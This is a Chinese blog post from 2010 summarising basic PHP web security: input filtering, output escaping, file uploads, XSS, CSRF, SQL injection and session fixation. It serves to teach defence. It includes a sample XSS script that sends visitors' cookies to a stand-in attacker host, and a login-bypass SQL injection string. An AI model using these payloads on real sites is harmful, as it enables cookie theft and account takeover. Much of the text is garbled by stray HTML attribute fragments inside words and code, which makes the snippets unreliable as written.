php基础安全多方面总结 14 April 2010 21:44 Wednesday by 小屋

 

一、简介

1.PHP安全方面的基本功能

1.1全局变量注册

事实上,全局变量是无辜的,它不会产生安全漏洞。

一般我们会关闭全局变量原因是:它会增加安全漏洞的数量;隐藏了数据的来源,与开发者需要随时跟踪数据的责任违背;

注:如果必须在一个开启了register_globals的环境部署应用程序时,重要的一点是,必须要初始化所有变量,并且把error_reporting设为E_ALL(或E_ALL | E_STRICT)以对未初始化变量进行警告。

当register_globals开始时,任何使用未初始化变量的行为就意味着安全漏洞。

 

1.2错误报告" title="错误报告" >错误报告

php的错误报告" title="错误报告" >错误报告方便了我们开发时对错误的确认和定位,但这些错误描述如果被恶意攻击者看到,就不妙了。所以开发结束后我们要关闭错误报告" title="错误报告" >错误报告。

<?php

ini_set('error_reporting', E_ALL | E_STRICT);

ini_set('display_errors', 'Off');

ini_set('log_errors', 'On');

ini_set('error_log', '/usr/local/apache/logs/error_log');

?>

注:也可以通过set_error_handle()函数制定自己的出错处理函数

 

2.PHP安全方面的原则

深度防范:时刻有一个安全备份方案

最小权限:不必要的授权会加大风险

简单是美:没有必要的复杂是糟糕的

最少暴露:尽量降低数据源的被暴露

 

3.PHP安全方面方法

3.1平衡风险和可用性

友好的用户操作与安全措施是一对矛盾,提高安全性的同时,通常会降低可用性。尽量使安全措施对用户透明,使他们感受不到它的存在。

 

3.2跟踪数据

区分可信和不可信数据的来源。

知道数据在哪进入程序,同时知道数据在哪离开程序

审核PHP代码时候有安全漏洞时,主要检查代码中与外部系统交互的部分。

 

3.3过滤输入

步骤:识别输入,过滤输入,区分已过来率及被污染数据

ssion" title="session" >session保存位置与数据库" title="数据库" >数据库看成是输入更安全

防止非法数据进入应用程序

最好的数据过滤方法是把过滤看成是一个检查的过程,不要试图好心的去纠正非法数据!要让用户按照你的规划去做。任何试图纠正非法数据的举动都可能导致潜在错误并允许非法数据通过。只做检查更安全

使用一个命名约定或其他可以帮助你正确和可靠区分已过滤和被污染数据方法

比如,把所有经过滤的数据放入$clean的数组中,

1.初始化$clean为一个空数组

2.加入检查及阻止来自外部数据源的变量命名为 clean

考虑下面的表单,允许用户选择三种颜色中的一种

<form action="process.php" method="POST">

选择一种颜色:

<select name="color">

<option value="red">red</opt ion>

<option value="green">green</op

<option value="blue">blue</opt io

</select>

<input type="submit" />

</form>

在处理这个表单的编程逻辑中,非常容易犯的错误是认为只能提交三个选择中的一个。为了正确地过滤数据,你需要用一个 switch 句" title="句" >句来进行: 

<?php

$clean = array( );

switch($_POST['color'])

{

case 'red':

case 'green':

case 'blue':

$clean['color'] = $_POST['color'];

break;

}

?>

上面的方法对于过滤有一组已知的合法值的数据很有效,但是对于过滤有一组已知合法字符组成的数据时就没有什么帮助。例如,你可能需要一个用户名" title="用户名" >用户名只能由字母及数字组成:

<?php

$clean = array( );

if (ctype_alnum($_POST['username'])){ //ctype_alnum():只允许字母和数字

$clean['username'] = $_POST['username'];

}

?>

 

3.4输出转义

输出进行转义或对特殊字符进行编码,以保证原意不变。

例如, O'Sjolzy 在传送给 MySQL 数据库" title="数据库" >数据库前需要转义成 O\'Sjolzy 。

步骤:识别输出输出转义,区分已转义与未转义数据

对于一些常见输出目标(包括客户端数据库" title="数据库" >数据库和 URL )的转义, PHP中有内置函数可用 。

常见输出目标是客户机使用 htmlentities( ) 在数据发出前进行转义

使用 htmlentities( )函数的最佳方式是指定它的两个可选参数引号转义方式(第二参数)及字符集" title="字符集" >字符集(第三 参数)。

<?php

$html = array( );

$html['username'] = htmlent ities($clean['username'], ENT_QUOTES, 'UTF-8');

echo "<p>Welcome back, {$html['username']}.</p>";

?>

注:htmlspecialchars( ) 函数与 htmlent ities( ) 函数基本相同,它们的参数定义完全相同,只不过是htmlent ities( ) 的转义更为彻底。

另外一个常见输出目标是数据库" title="数据库" >数据库。如果可能的话,你需要对 SQL 句" title="句" >句中的数据使用 PHP内建函数进行转义。对于 MySQL用户,最好的转义函数sql" title="mysql" >mysql_real_escape_string( ) 。

<?php

$sql" title="mysql" >mysql = array( );

$sql" title="mysql" >mysql['username'] = sql" title="mysql" >mysql_real_escape_string($clean['username']);

$sql = "SELECT *

FROM profile

WHERE username = '{$sql" title="mysql" >mysql['username']}'";

$result = sql" title="mysql" >mysql_query($sql);

?>

 

二、表单和URL

1 表单数据

在典型的 PHP 应用开发中,大数的逻辑涉及数据处理任务。

数据可能有无数的来源,简单可靠区分两数据:已过滤数据、被污染数据

自己设定的数据可信数据,可以认为是已过滤数据。而所有的输入数据都是被污染的,必须在要在使用前对其进行过滤。

注:数据是关键,而不是变量变量只是数据容器,它往往随着程序的执行而为 被污染数据所覆盖。如果你不希望数据进行变化,可以使用常量来代替define(define)。常量如果不小心被重新赋值,会引起一个级别为Notice的报错信息

一个用户可以通过三种方式向应用程序传输数据

·通过 URL( 如 GET 数据方式 )

·通过一个请求内容(如 POST 数据方式

·通过 HTTP 头部信息(如 Cookie

 

2.义" title="义" >义 URL 攻击

攻击主要包括对 URL 进行编辑以期发现一些有趣的事情

例如,用户 sjolzy 点击了你的软件中的一 个链接并到达了页面 http://sjolzy.cn/msg.php?user=sjolzy,很自然地他可能会试图改变 user的值,看看会发生什么。

如果使用 ssion" title="session" >session 跟踪,就可以很方便地避免上述情况的发生了。

下面是一个 Webmail 系统的例子:

<?php

ssion" title="session" >session_start();

$clean = array();

$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';

if (preg_match($email_pattern, $_POST['email'])){

$clean['email'] = $_POST['email'];

$user = $_SESSION['user'];

$new_password = md5(uniqid(rand(), TRUE));

if ($_SESSION['verified']){

/* Update Password */

mail($clean['email'], 'Your New Password', $new_password);

}

}

?>

上例示范了对用户提供的帐户不加以信任,同时更重要的是使用 ssion" title="session" >session 变量为保存用户是否正确回答了问题($_SESSION['verified']) ,以及正确回答问题用户 ($_SESSION['user'])。

 

3.文件上传攻击

文件表单中传送时与其它的表单数据不同,你必须指定一个特别的编码方式 multipart/form-data

<form action="upload.php" method="POST" enctype="mult ipart/form-data">

为了更好地演示文件上传机制,下面是一个允许用户上传附件的例子:

<form action="upload.php" method="POST" enctype="mult ipart/form-data">

<p>Please choose a file to upload:

<input type="hidden" name="MAX_FILE_SIZE" value="1024" />

<input type="file" name="attachment" /><br />

<input type="submit" value="Upload Attachment" /></p>

</form>

隐藏的表单变量 MAX_FILE_SIZE 告诉了浏览器最大允许上传文件大小。但这一限制很容易被攻击者绕开,在服务器进行该限制才是可靠的。

PHP 的配置变量中, upload_max_f ilesize 控制最大允许上传文件大小。同时 post_max_size( POST 表单的最大提交数据的大小)也能潜在地进行控制,因为文件是通过表单数据进行上传的。

接收程序 upload.php 显示了超级全局数组 $_FILES 的内容

<?php

header('Content-Type: text/plain');

print_r($_FILES);

?>

PHP提供了两个方便的函数以减轻这些理论上的风险:is_uploaded_file( ) 和move_uploaded_file( )。如果你需要确保tmp_name 中的文件是一个上传文件,你可以用is_uploaded_file( ):

<?php

$lename" title="filename" >filename = $_FILES['attachment']['tmp_name'];

if (is_uploaded_f ile($lename" title="filename" >filename)){

/* $_FILES['attachment']['tmp_name'] is an uploaded file. */

}

?>

如果你希望只把上传文件移到一个固定位置,你可以使用 move_uploaded_file( ) :

<?php

$old_f ilename = $_FILES['attachment']['tmp_name'];

$new_lename" title="filename" >filename = '/path/to/attachment.txt';

if (move_uploaded_f ile($old_f ilename, $new_lename" title="filename" >filename)){

/* $old_lename" title="filename" >filename is an uploaded file, and the move was successful. */

}

?>

最后你可以用filesize( )来校验文件的大小:

<?php

$lename" title="filename" >filename = $_FILES['attachment']['tmp_name'];

if (is_uploaded_file($lename" title="filename" >filename)){

$size = filesize($lename" title="filename" >filename);

}

?>

 

4. 跨站脚本攻击(XSS)

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。

如果输入没有正确的进行过滤和转义,跨站脚本漏洞就产生了。

以一个允许在每个页面上录入评论的应用为例,如果一个评论内容包含了如下代码

<script>

document.location ='http://evil.sjolzy.cn/steal.php?ie" title="cookie" >cookies=' + document.ie" title="cookie" >cookie

</script>

如果你的用户察看这个评论时你的用户会在不知不觉中把他们的ie" title="cookie" >cookies( 浏览网站的人 ) 发送evil.sjolzy.cn ,而接收程序 (steal.php) 可以通过 $_GET['ie" title="cookie" >cookies'] 变量防问所有的ie" title="cookie" >cookies。

所以你要用 htmlentities( ) 对任何你要输出客户端数据进行转义

 

5.跨站请求伪造(CSRF)

跨站请求伪造是一种允许攻击者通过受害者发送任意 HTTP 请求的一攻击方法。此处所指的受害者是一个不知情的同谋,所有的伪造请求都由他发起,而不是攻击者。这样,很你就很难确定哪些请求是属于跨站请求伪造攻击。

例如:一个网站用户Bob可能正在浏览聊天论坛,而同时另一个用户Alice也在此论坛中,并且后刚刚发布了一个具有Bob银行链接的图片消息。设想一下,Alice编写了一个在Bob的银行站点上进行取款的form提交的链接,并将此链接作为图片tag。如果Bob的银行在ie" title="cookie" >cookie中保存他的授权信息,并且此ie" title="cookie" >cookie没有过期,那么当Bob的浏览器尝试装载图片时将提交这个取款form和他的ie" title="cookie" >cookie,这样在没经Bob同意的情况下便授权了这次事务。 

CSRF是一种依赖web浏览器的、被混淆过的代理人攻击(deputy attack)。在上面银行示例中的代理人是Bob的web浏览器,它被混淆后误将Bob的授权直接交给了Alice使用。 

跨站请求伪造攻击可以通过 img 标签来实现。

跨站请求伪造攻击的存在是不推荐使用 $_REQUEST 的原因之一。

用几个步骤来减轻伪造请求攻击的风险。使用POST方式而不是GET来提交表单,在处理表单提交时使用$_POST而不是$_REQUEST。

“ 特别需要指出的是,习惯上 GET 与 HEAD 方式应该用于引发一个操作,而只是用于获取信息。这些方式应该被认为是‘ 安全 ’的。客户浏览器应以特殊的方式,如 POST,PUT或 DELETE 方式来使用户意识到正在请求进行的操作可能是不安全的。”

最重要的一点是你要做到能强制使用你自己的表单进行提交。

例:

<?php

ssion" title="session" >session_start();

$token = md5(uniqid(rand(), TRUE));

$_SESSION['token'] = $token;

$_SESSION['token_time'] = time();

//将$_SESSION['token']和$_SESSION['token_time']输出到前台需要提交的表单内作为隐藏元素,然后在提交时判断

//if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])

?>

还可以对验证码加上一个有效时间限制。

 

6.欺骗表单提交

制造一个欺骗表单几乎与假造一个 URL 一样简单,毕竟,表单的提交只是浏览器发出的一个 HTTP请求而已。请求的部分格式取决于表单,某些请求中的数据来自于用户

只要知道表单提交的绝对路径,攻击者就可以随便制造一个经过修改的表单指向这个绝对路径

所以,欺骗表单攻击是不能防止的。但只要正确地过滤了输入,用户就必须要遵守你的规则,这与他们如何提交无关。

 

7.HTTP 请求欺骗

一个比欺骗表单更高级和复杂的攻击方式是 HTTP 请求欺骗。

攻击者可以通过编辑HTTP请求的原始信息来完全控制HTTP头部的值,GET和POST的数据,以及所有 HTTP请求内容

方法如:通过在大系统平台上都提供的Telnet实用程序连接网站服务器的侦听端口(典型的端口为80)来与 Web服务器直接通信。

$ telnet sjolzy.cn 80

Trying 192.0.1.1...

Connected to sjolzy.cn (192.0.34.166).

Escape character is '^]'.

GET / HTTP/1.1

Host: sjolzy.cn

HTTP/1.1 200 OK

Date: Sat, 21 May 2010 12:34:56 GMT

Server: Apache/1.3.31 (Unix)

Accept-Ranges: bytes

Content-Length: 410

Connection: close

Content-Type: text/html

<html>

<head>

<title>Example Web Page</tit le>

</head>

<body>

<>evil script code<>

</body>

</html>

Connection closed by foreign host.

$

上例中所显示的请求是符合 HTTP/1.1 规范的最简单的请求,这是因为 Host 信息是头部信息中所必须有的。一旦你输入了表示请求结束的连续两个换行符,整个 HTML 的回应即显示在屏幕上。

也可以用PHP代码实现:

<?php

$http_response" title="response" >response = '';

$fp = fsockopen('sjolzy.cn', 80);

fputs($fp, "GET / HTTP/1.1\r\n");

fputs($fp, "Host: sjolzy.cn\r\n\r\n");

while (!feof($fp)){

$http_response" title="response" >response .= fgets($fp, 128);

}

fclose($fp);

echo nl2br(htmlent it ies($http_response" title="response" >response, ENT_QUOTES, 'UTF-8'));

?>

所以,再次说明了HTTP 请求提供的任何信息都是不可信的这个事实。

 

三、数据库" title="数据库" >数据库及 SQL

与任何的远程数据存储方式相同,数据库" title="数据库" >数据库本身也存在着一些风险。SELECT句" title="句" >句本身是向数据库" title="数据库" >数据库传送的数据。尽管该句" title="句" >句的目的是取得数据,但句" title="句" >句本身则是输出

要记住数据库" title="数据库" >数据库保存的数据也可能是未过滤的,要对来自数据库" title="数据库" >数据库的数据进行过滤。

 

1.访问权暴露

只要把必须要通过 URL 访问的资源放置在网站目录下即可,其他的可以保存在根目录外。

如果由于外部因素导致无法做到把所有包含文件放在网站目录之外,你可以在 Apache 配置成拒绝对 .inc 资源请求

<Files ~ "\.inc$">

Order allow,deny

Deny from all

</Files>

 

2.SQL注入

SQL 注入是 PHP 应用中最常见的漏洞之一。

开发者要同时犯两个错误才会引发一个 SQL 注入漏洞,一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库" title="数据库" >数据库的数据进行转义转义输出)。这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误

通常开发人员在Mysql 句" title="句" >句执行出错时会调用函数 sql" title="mysql" >mysql_error() 来报告错误。如,

<?php

sql" title="mysql" >mysql_query($sql) or exit(sql" title="mysql" >mysql_error());

?>

虽然该方法在开发中十分有用,但它能向攻击者暴露重要信息

<?php

$sql = "SELECT *

FROM users

WHERE username = 'myuser' or 'foo' = 'foo' --

AND password = 'a029d0df84eb5549c641e04a9ef389e5'";

?>

由于中间插入了一个 SQL 注释标记,所以查询句" title="句" >句会在此中断。这就允许了一个攻击者在不知道任何合法用户名" title="用户名" >用户名和密码的情况下登录。

如果知道合法的用户名" title="用户名" >用户名,攻击者就可以该用户 ( 如 sjolzy) 身份登录:只要 chris 是合法的用户名" title="用户名" >用户名,攻击者就可以控制该帐号。

<?php

$sql = "SELECT *

FROM users

WHERE username = 'sjolzy' --

AND password = 'a029d0df84eb5549c641e04a9ef389e5'";

?>

幸运的是, SQL 注入是很容易避免的。你必须坚持过滤输入和转义输出

注:关于SQL注入,不得不说的是现在大虚拟主机都会把magic_quotes_gpc 选项打开,在这种情况下所有的客户端GET和POST的数据都会自动进行 addslashes 处理,所以此时对字符串" title="字符串" >字符串值的 SQL 注入是不可行的,但要防止对数字值的 SQL 注入,如用 intval() 等函数进行处理。但如果你编写的是通用软件,则需要读取服务器的 magic_quotes_gpc 后进行相应 处理。

 

四、会话与Cookies

ie" title="cookie" >cookie 盗窃、会话数据暴露、会话固定、及会话劫持。

HTTP 是一种无状态的协议。说明了两个 HTTP 请求之间缺乏联系。 由于协议中未提供任何让客户端标识自己的方法,因此服务器也就无法区分客户端

Cookies 是对 HTTP 协议的扩充。更确切地说,它们由两个 HTTP 头部组成: Set-Cookie响应头部和 Cookie 请求头部。当客户端发出对一个特定 URL 的请求时,服务器会在响应选择包含一个 Set-Cookie 头部 。它要求客户端在下面的请求中包含一个相就的 Cookie 头部。

如果根据这个基本概念在每一个请求中包含同一个唯一标识码(在 ie" title="cookie" >cookie 头部中),就能唯一标识客户端从而把它发出的所有请求联系起来。这就是状态所要求的,同时也是这一机制的主要应用。

PHP 内建的会话机制,这些复杂的过程都处理好了,但PHP的会话机制中没有内建的安全处理。除此之外,由于会话标识是完全随机产生的,因此是不可预测的。必须自行建立安全机制以防止所有其它的会话攻击手段。

 

1.Cookie 盗窃

常见ie" title="cookie" >cookie 暴露原因浏览器漏洞和跨站脚本攻击。所以知道新的安全漏洞是很有必要的。

防止 ie" title="cookie" >cookie 盗窃的手段是通过防止跨站脚本漏洞和检测导致 ie" title="cookie" >cookie 暴露的浏览器漏洞相结合。

 

2.会话数据暴露

会话数据常会包含一些个人信息和其它敏感数据。基于这个原因会话数据的暴露是被普遍关心的问题。一般来说,暴露的范围不会很大,因为会话数据是保存在服务器环境中的, 而不是在数据库" title="数据库" >数据库或文件系统中。因此,会话数据自然不会公开暴露。

使用 SSL 是一种特别有效的手段,它可以使数据服务器客户端之间传送时暴露的可能性降到最低。这对于传送敏感数据的应用来说非常重要。 SSL 在 HTTP 之上提供了一个保护,以使所有在 HTTP 请求和应答中的数据都得到了保护。

如果你关心的是会话数据保存区本身的安全,你可以对会话数据进行加密,这样没有正确的密钥就无法读取它的内容。这在 PHP 中非常容易做到,你只要使用 ssion" title="session" >session_set_save_handler( )并写上你自己的 ssion" title="session" >session 加密存储和解密读取的处理函数即可。

 

3.会话固定

关于会话,需要关注的主要问题会话标识的保密性问题。如果它是保密的,就不会存在会话劫持的风险了。通过一个合法的会话标识,一个攻击者可以非常成功地冒充成为你的某一个用户

一个攻击者可以通过三种方法来取得合法的会话标识:

·猜测

·捕获

·固定

PHP 生成的是随机性很强的会话标识,所以被猜测的风险是不存在的。常见的是通过捕获网络通信数据以得到会话标识。为了避免会话标识被捕获的风险,可以使用 SSL ,同时还要对浏览器漏洞及时修补。

使用ssion" title="session" >session_regenerate_id( ) 函数来防止这种情况的发生。

ssion" title="session" >session_start();

if (!isset($_SESSION['initiated'])){

ssion" title="session" >session_regenerate_id();

$_SESSION['init iated'] = TRUE;

}

这就保证了在会话初始化时能有一个全新的会话标识。攻击的目的是要取得一个能用来劫持会话的标识。

 

4.会话劫持

常见的针对会话的攻击手段是会话劫持。它是所有攻击者可以用来访问其它人的会话的手段的总称。所有这些手段的第一步都是取得一个合法的会话标识来伪装成合法用户,因此保证会话标识不被泄露非常重要。前面几节中关于会话暴露和固定的知识能帮助你保证会话标识只有服务器及合法用户才能知道。

作为一个关心安全的开发者,你的目标应该是使前述的伪装过程变得更复杂。记住无论小的障碍,都会以你的应用提供保护。

作者: Sjolzy | Google+

--EOF--

分享到:

引用地址:

发表评论:

  给 “php基础安全多方面总结” 评分

广告、无意义的评论必删!